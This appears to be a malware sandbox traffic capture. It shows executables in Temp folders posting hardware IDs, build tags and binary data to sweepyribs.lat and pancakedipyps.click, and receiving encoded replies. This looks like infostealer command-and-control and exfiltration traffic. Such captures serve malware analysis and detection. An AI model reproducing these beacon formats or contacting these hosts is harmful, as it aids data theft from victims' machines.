2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 77 4b 4d 62 77 68 6c 55 34 35 65 31 63 53 50 49 77 64 30 35 71 39 6d 2b 6b 64 2b 39 6f 61 66 4e 47 2b 79 78 4d 70 30 38 6c 74 63 41 70 4e 56 57 6a 38 56 73 67 61 57 6d 2f 46 46 5a 30 72 7a 6f 47 58 32 58 56 47 46 73 35 63 73 59 4c 6a 5a 31 33 61 39 46 6b 4e 46 69 79 4a 61 63 52 58 56 47 4a 6a 44 74 51 78 6e 4a 36 44 38 4d 4b 51 59 46 35 6a 42 67 33 52 34 39 63 53 62 62 4f 35 56 45 31 43 4c 4e 46 6f 77 56 70 39 61 30 49 43 6e 48 6d 42 42 7a 6f 35 67 2f 55 68 4d 79 5a 54 63 64 43 47 36 6b 6f 4d 4e 2f 42 68 42 55 49 52 39 44 48 70 46 69 67 54 65 6b 72 77 52 5a 7a 47 77 34 6d 2f 36 52 30 58 50 67 39 4d 6f 63 62 37 65 7a 58 69 34 43 52 4d 4d 69 33 30 52 65 45 65 44 54 35 6d 53 70 78 41 33 66 50 57 70 4a 2f 6c 61 54 63 54 54 30 6e 70 30 76 74 37 64 4f 61 6c 55 Data Ascii: wKMbwhlU45e1cSPIwd05q9m+kd+9oafNG+yxMp08ltcApNVWj8VsgaWm/FFZ0rzoGX2XVGFs5csYLjZ13a9FkNFiyJacRXVGJjDtQxnJ6D8MKQYF5jBg3R49cSbbO5VE1CLNFowVp9a0ICnHmBBzo5g/UhMyZTcdCG6koMN/BhBUIR9DHpFigTekrwRZzGw4m/6R0XPg9Mocb7ezXi4CRMMi30ReEeDT5mSpxA3fPWpJ/laTcTT0np0vt7dOalU
2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 41 4c 5a 46 75 47 58 74 48 44 6a 6c 4e 6e 5a 37 44 32 4b 38 52 49 54 73 61 55 69 69 73 73 6b 39 48 63 4d 72 38 56 52 46 4f 4c 49 6c 70 78 46 64 55 61 6d 4d 4f 31 44 47 63 6e 6f 50 77 77 70 42 67 58 6d 4d 47 44 64 48 6a 31 78 4a 74 73 37 31 55 54 55 49 73 30 57 6a 42 62 67 45 6e 56 6a 62 49 50 4e 58 6e 7a 75 47 69 32 64 58 37 74 6e 70 45 2f 62 37 4c 73 35 52 57 32 43 31 35 4e 7a 46 49 6b 51 45 53 4b 57 4a 53 6c 73 67 73 6b 50 37 37 75 63 37 45 54 41 4f 6d 5a 6a 44 64 75 73 70 4b 56 64 4c 68 62 43 77 4c 75 59 52 64 79 57 34 6f 4b 39 34 6d 68 45 43 68 34 73 4f 41 72 2f 51 73 59 69 4a 4b 57 4b 6d 79 36 31 5a 63 7a 70 68 77 54 44 49 74 69 57 69 38 56 6a 45 4c 47 6a 72 34 61 61 33 6e 2b 6f 43 76 75 42 56 6d 49 68 64 78 69 4d 76 75 53 79 58 54 6b 57 78 52 4d 78 Data Ascii: ALZFuGXtHDjlNnZ7D2K8RITsaUiissk9HcMr8VRFOLIlpxFdUamMO1DGcnoPwwpBgXmMGDdHj1xJts71UTUIs0WjBbgEnVjbIPNXnzuGi2dX7tnpE/b7Ls5RW2C15NzFIkQESKWJSlsgskP77uc7ETAOmZjDduspKVdLhbCwLuYRdyW4oK94mhECh4sOAr/QsYiJKWKmy61ZczphwTDItiWi8VjELGjr4aa3n+oCvuBVmIhdxiMvuSyXTkWxRMx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49965	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:23 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1L4Q0L85Z0XCRFKVWWQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18174 Host: sweepyribs.lat
2024-12-17 21:07:23 UTC	15331	OUT	Data Raw: 2d 2d 31 4c 34 51 30 4c 38 35 5a 30 58 43 52 46 4b 56 57 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 31 4c 34 51 30 4c 38 35 5a 30 58 43 52 46 4b 56 57 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 4c 34 51 30 4c 38 35 5a 30 58 43 52 46 4b 56 57 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 Data Ascii: --1L4Q0L85Z0XCRFKVWWQContent-Disposition: form-data; name="hwid"A9B01461D223924800D57F9DDD37BE0C--1L4Q0L85Z0XCRFKVWWQContent-Disposition: form-data; name="pid"2--1L4Q0L85Z0XCRFKVWWQContent-Disposition: form-data; name="lid"yau6Na--69
2024-12-17 21:07:23 UTC	2843	OUT	Data Raw: 6d b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e Data Ascii: me,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
2024-12-17 21:07:24 UTC	1037	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ne86hr9jjci9fpqij1qf95tn35; expires=Sat, 12-Apr-2025 14:54:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rnQjiQcsNgtx8NCT0kkgWcskhQMp9C%2FZI7zc6kc2niwDvMZxoZPcHWwH%2FheFb2DlKc8NxcjacYNb9wSywZimQZoXQuJbq6EsV6mY2czwEgpy39KttqBlfRp93ETVWjcJAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e1ea78aef3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1472&rtt_var=618&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2833&recv_bytes=19135&delivery_rate=1983695&cwnd=80&unsent_bytes=0&cid=e371ee1c4f7e4d20&ts=913&x=0"
2024-12-17 21:07:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49977	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:26 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4XBRUYUMH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8735 Host: sweepyribs.lat
2024-12-17 21:07:26 UTC	8735	OUT	Data Raw: 2d 2d 34 58 42 52 55 59 55 4d 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 34 58 42 52 55 59 55 4d 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 58 42 52 55 59 55 4d 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 34 58 42 52 55 59 55 4d 48 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: --4XBRUYUMHContent-Disposition: form-data; name="hwid"A9B01461D223924800D57F9DDD37BE0C--4XBRUYUMHContent-Disposition: form-data; name="pid"2--4XBRUYUMHContent-Disposition: form-data; name="lid"yau6Na--6989783370--4XBRUYUMHContent
2024-12-17 21:07:27 UTC	1041	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v084oq0jssnpuaojjq1850gle3; expires=Sat, 12-Apr-2025 14:54:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mHmWf5ZnHCtQT0ICyiFnTO8VMHkbRPeslI%2BxNL21edNdqHpNHC4lyQf%2FycEiDEX6H169gxgRSBKrorL%2BOm5pGohtNRQItmhYqcymE6EJyjzVbsLAAJMVy8FZJ5Ggj%2F%2BPRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e1fe5dcb0c7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1543&min_rtt=1527&rtt_var=584&sent=8&recv=13&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9663&delivery_rate=1912246&cwnd=57&unsent_bytes=0&cid=95424cc0bb7d932b&ts=810&x=0"
2024-12-17 21:07:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49982	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:29 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-17 21:07:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 21:07:29 UTC	1038	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1b3hhltmkqouo907eh2if342tm; expires=Sat, 12-Apr-2025 14:54:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9jqk1%2F1lxPz6K5fW1M0%2B7mos218NddByKtSYUOrM2s9UIEPWPhpfnOQ%2Bcs0wIHKl42p%2BfA1Kx8jwPseaJM5Uf5x3L7GR32BqzLifzGTcSEjPRdK9AmSV3yIvpVQtcm0HRtv6wXig"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e20d3947efa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2247&min_rtt=1785&rtt_var=1593&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=910&delivery_rate=532652&cwnd=140&unsent_bytes=0&cid=59cd1411d44790db&ts=744&x=0"
2024-12-17 21:07:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-17 21:07:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49984	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:29 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=W428NXGLDL240ZCVA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20436 Host: sweepyribs.lat
2024-12-17 21:07:29 UTC	15331	OUT	Data Raw: 2d 2d 57 34 32 38 4e 58 47 4c 44 4c 32 34 30 5a 43 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 57 34 32 38 4e 58 47 4c 44 4c 32 34 30 5a 43 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 34 32 38 4e 58 47 4c 44 4c 32 34 30 5a 43 56 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 Data Ascii: --W428NXGLDL240ZCVAContent-Disposition: form-data; name="hwid"A9B01461D223924800D57F9DDD37BE0C--W428NXGLDL240ZCVAContent-Disposition: form-data; name="pid"3--W428NXGLDL240ZCVAContent-Disposition: form-data; name="lid"yau6Na--69897833
2024-12-17 21:07:29 UTC	5105	OUT	Data Raw: 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-17 21:07:30 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gbfpso2iepf12hig91mkhoqcgb; expires=Sat, 12-Apr-2025 14:54:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DEhTjIG9ET8iKLr1FPZEj4HlL4xBqZ949mGlsAn40imclAEg5SB9h%2BQ%2BvjlvE35pbxVulM16bnNHTEiejKxubV%2FjemfGW4eWNqLmMGqEQQbLaI7hqLMNXd647M8NUljbNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e21189e74369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1701&rtt_var=647&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21395&delivery_rate=1680092&cwnd=234&unsent_bytes=0&cid=d0430ca22fe8ff50&ts=969&x=0"
2024-12-17 21:07:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-17 21:07:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49989	172.67.209.202	443	1648	C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:31 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-17 21:07:31 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-17 21:07:31 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=96oots8ti7jnsmctpv6aq38hvg; expires=Sat, 12-Apr-2025 14:54:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bzNW5awQLeG%2BiwgQCUa75By%2B66C3Ilm%2B0HlbPIwgzrBZ0dPn9V4DPhpmd9yJqFeIKsapHX8FgK8qG07jTy9hmRWnZ3Vl4skQMNPe1vkCBMlHJnw%2FIGsPTnM%2FFSEJsxrneXV2uSkP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e219a8d8f5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1729&rtt_var=714&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1688837&cwnd=175&unsent_bytes=0&cid=9f27972118daefe9&ts=749&x=0"
2024-12-17 21:07:31 UTC	329	IN	Data Raw: 31 64 32 66 0d 0a 55 39 50 63 77 32 6e 53 64 65 76 4c 79 44 50 6e 5a 68 6c 75 61 52 57 4d 2f 4e 2f 72 68 73 4c 6d 4e 73 67 56 55 61 62 77 4d 42 51 6f 38 61 72 68 55 2b 5a 5a 79 62 69 74 45 64 30 53 61 78 73 4d 4f 61 36 64 75 38 6d 38 70 49 64 61 75 33 42 39 68 49 5a 64 4e 6d 6d 31 76 61 38 61 74 31 6e 4a 72 72 41 52 33 54 31 69 54 41 78 37 72 73 62 39 6a 75 79 67 68 31 71 71 64 44 72 4a 67 46 78 33 4f 37 2b 37 71 77 79 78 45 59 71 6e 70 56 61 43 41 33 67 45 42 33 7a 68 6c 4c 4c 4a 71 75 43 44 54 4f 6f 76 63 2b 75 56 52 48 55 65 73 71 2b 6f 53 36 39 5a 6b 4f 6d 74 58 63 56 63 4f 77 38 4d 64 2b 43 61 75 34 44 75 71 6f 35 53 71 33 45 37 31 70 6c 57 66 44 75 78 75 4b 6f 47 75 41 57 48 72 61 4a 64 68 41 6c 34 54 45 55 33 36 59 62 39 30 61 54 7a 74 6c 65 37 5a Data Ascii: 1d2fU9Pcw2nSdevLyDPnZhluaRWM/N/rhsLmNsgVUabwMBQo8arhU+ZZybitEd0SaxsMOa6du8m8pIdau3B9hIZdNmm1va8at1nJrrAR3T1iTAx7rsb9juygh1qqdDrJgFx3O7+7qwyxEYqnpVaCA3gEB3zhlLLJquCDTOovc+uVRHUesq+oS69ZkOmtXcVcOw8Md+Cau4Duqo5Sq3E71plWfDuxuKoGuAWHraJdhAl4TEU36Yb90aTztle7Z
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 4f 76 6f 72 77 72 5a 55 55 74 54 6b 71 68 4a 56 65 4e 6d 6e 78 75 4b 38 4b 76 52 65 62 6f 61 46 61 67 42 5a 77 42 51 5a 36 37 70 4f 33 68 75 65 67 67 31 36 67 65 44 6e 41 6e 31 39 77 4d 62 48 2b 37 30 75 33 44 38 6e 78 36 6e 4b 41 46 48 77 41 48 54 58 55 33 71 4c 48 2f 65 43 44 57 4f 6f 76 63 38 79 58 55 58 55 36 76 72 32 70 41 4b 49 58 6d 36 2b 6e 56 4a 63 43 66 67 49 42 64 50 79 55 73 34 2f 6e 71 59 39 64 72 33 41 33 68 4e 77 53 63 53 6e 78 35 75 45 71 76 52 79 46 6f 37 31 52 78 52 73 31 46 55 74 77 34 74 37 6c 79 65 43 68 67 46 57 75 65 54 33 41 6e 6c 52 34 50 4c 36 34 71 77 75 33 48 59 47 68 71 31 79 4f 43 33 73 4a 42 6e 50 6f 6b 72 79 4d 70 4f 37 45 55 37 49 33 61 34 53 38 56 58 55 6a 38 34 75 69 42 62 34 51 6e 2b 6d 31 48 35 78 45 66 41 42 4c 4c 36 Data Ascii: OvorwrZUUtTkqhJVeNmnxuK8KvReboaFagBZwBQZ67pO3huegg16geDnAn19wMbH+70u3D8nx6nKAFHwAHTXU3qLH/eCDWOovc8yXUXU6vr2pAKIXm6+nVJcCfgIBdPyUs4/nqY9dr3A3hNwScSnx5uEqvRyFo71RxRs1FUtw4t7lyeChgFWueT3AnlR4PL64qwu3HYGhq1yOC3sJBnPokryMpO7EU7I3a4S8VXUj84uiBb4Qn+m1H5xEfABLL6
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 37 75 44 4b 46 4b 31 76 63 35 7a 53 59 32 45 36 38 34 75 69 42 62 34 51 6e 2b 6d 31 48 35 78 45 66 41 42 4c 4c 36 36 54 74 59 7a 68 72 34 56 65 70 48 49 35 79 4a 70 63 64 53 4f 2b 75 71 45 48 75 42 32 45 70 36 35 5a 6a 41 39 77 43 67 74 32 35 4e 37 7a 79 65 4f 34 78 41 7a 71 51 7a 54 49 6e 31 30 30 42 4c 4b 77 72 77 79 6d 56 35 62 6e 73 78 47 43 43 44 74 55 53 33 76 6e 6e 72 61 44 34 4b 43 44 57 61 39 30 4e 4d 65 66 56 58 77 2f 74 72 71 74 41 72 30 52 69 61 36 75 56 4a 63 42 63 67 41 48 4e 36 44 65 75 70 47 6b 2b 4d 52 37 72 57 45 77 36 35 46 44 66 33 47 75 38 4c 68 4c 74 78 76 4a 38 65 70 57 67 41 78 77 43 67 4e 33 2f 4a 75 7a 67 75 57 71 67 6c 57 6e 65 7a 58 45 6b 31 4a 77 50 62 47 35 70 68 6d 69 45 6f 2b 37 6f 42 48 4c 52 48 77 55 53 79 2b 75 71 4b 32 Data Ascii: 7uDKFK1vc5zSY2E684uiBb4Qn+m1H5xEfABLL66TtYzhr4VepHI5yJpcdSO+uqEHuB2Ep65ZjA9wCgt25N7zyeO4xAzqQzTIn100BLKwrwymV5bnsxGCCDtUS3vnnraD4KCDWa90NMefVXw/trqtAr0Ria6uVJcBcgAHN6DeupGk+MR7rWEw65FDf3Gu8LhLtxvJ8epWgAxwCgN3/JuzguWqglWnezXEk1JwPbG5phmiEo+7oBHLRHwUSy+uqK2
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 31 75 6a 65 44 76 4d 6e 56 31 79 50 37 65 34 72 41 36 2f 48 5a 75 68 70 46 79 4f 43 33 41 65 43 33 72 71 6b 72 6d 42 37 36 72 45 47 75 70 77 4b 34 54 4b 45 6b 4d 38 76 72 36 69 48 66 41 49 78 37 44 71 56 6f 6c 45 49 30 77 48 65 65 36 52 73 59 58 76 71 49 56 59 70 48 41 32 7a 5a 70 61 5a 44 43 31 74 71 41 46 76 78 61 4e 72 4b 39 56 67 67 42 39 41 30 73 35 72 70 6d 6c 79 62 7a 67 71 33 4f 66 4e 52 4c 2b 30 6b 30 34 4b 50 47 35 72 55 76 6f 56 34 57 71 70 6c 6d 4b 41 6e 49 41 41 58 37 6c 6b 72 61 4e 36 4b 6d 42 55 71 74 79 4e 73 57 57 58 6e 77 33 73 72 32 75 42 4c 38 66 79 65 66 71 56 70 31 45 49 30 77 75 59 4f 57 51 75 38 6e 37 37 70 30 55 72 58 74 7a 6e 4e 4a 65 66 7a 65 33 75 36 30 4b 74 68 2b 4d 6f 61 35 51 67 77 4a 34 41 77 39 79 37 35 47 35 68 65 71 71 Data Ascii: 1ujeDvMnV1yP7e4rA6/HZuhpFyOC3AeC3rqkrmB76rEGupwK4TKEkM8vr6iHfAIx7DqVolEI0wHee6RsYXvqIVYpHA2zZpaZDC1tqAFvxaNrK9VggB9A0s5rpmlybzgq3OfNRL+0k04KPG5rUvoV4WqplmKAnIAAX7lkraN6KmBUqtyNsWWXnw3sr2uBL8fyefqVp1EI0wuYOWQu8n77p0UrXtznNJefze3u60Kth+Moa5QgwJ4Aw9y75G5heqq
2024-12-17 21:07:31 UTC	1369	IN	Data Raw: 6f 34 31 70 56 64 63 6a 61 39 75 4b 34 4e 73 52 4b 44 70 61 31 55 6a 67 74 33 54 45 55 33 36 59 62 39 30 61 53 4f 6a 30 65 39 64 44 33 50 68 45 6b 32 4c 76 2b 6e 34 51 79 38 56 39 48 70 71 56 71 4f 41 48 73 41 43 33 50 6a 6e 71 2b 47 34 36 65 4e 58 37 68 39 4e 4d 4f 5a 57 6e 30 2b 74 36 79 74 42 61 49 53 6d 37 76 71 48 38 55 44 59 30 78 54 4e 39 69 5a 72 5a 6e 6e 34 72 56 43 71 57 45 34 79 5a 34 53 61 58 2b 6f 2f 71 59 48 38 45 2f 4a 72 36 56 59 68 67 74 36 42 51 64 36 36 35 65 34 69 4f 4b 6b 6a 6c 36 71 63 54 58 46 6c 31 68 31 4d 4c 75 33 70 67 4f 33 46 4a 76 70 35 42 47 43 48 44 74 55 53 31 37 70 6a 4c 4f 5a 70 4c 2f 4b 54 65 70 77 50 34 54 4b 45 6e 49 37 76 72 71 6d 42 37 59 53 6a 36 53 72 58 6f 51 45 64 41 67 41 66 75 69 66 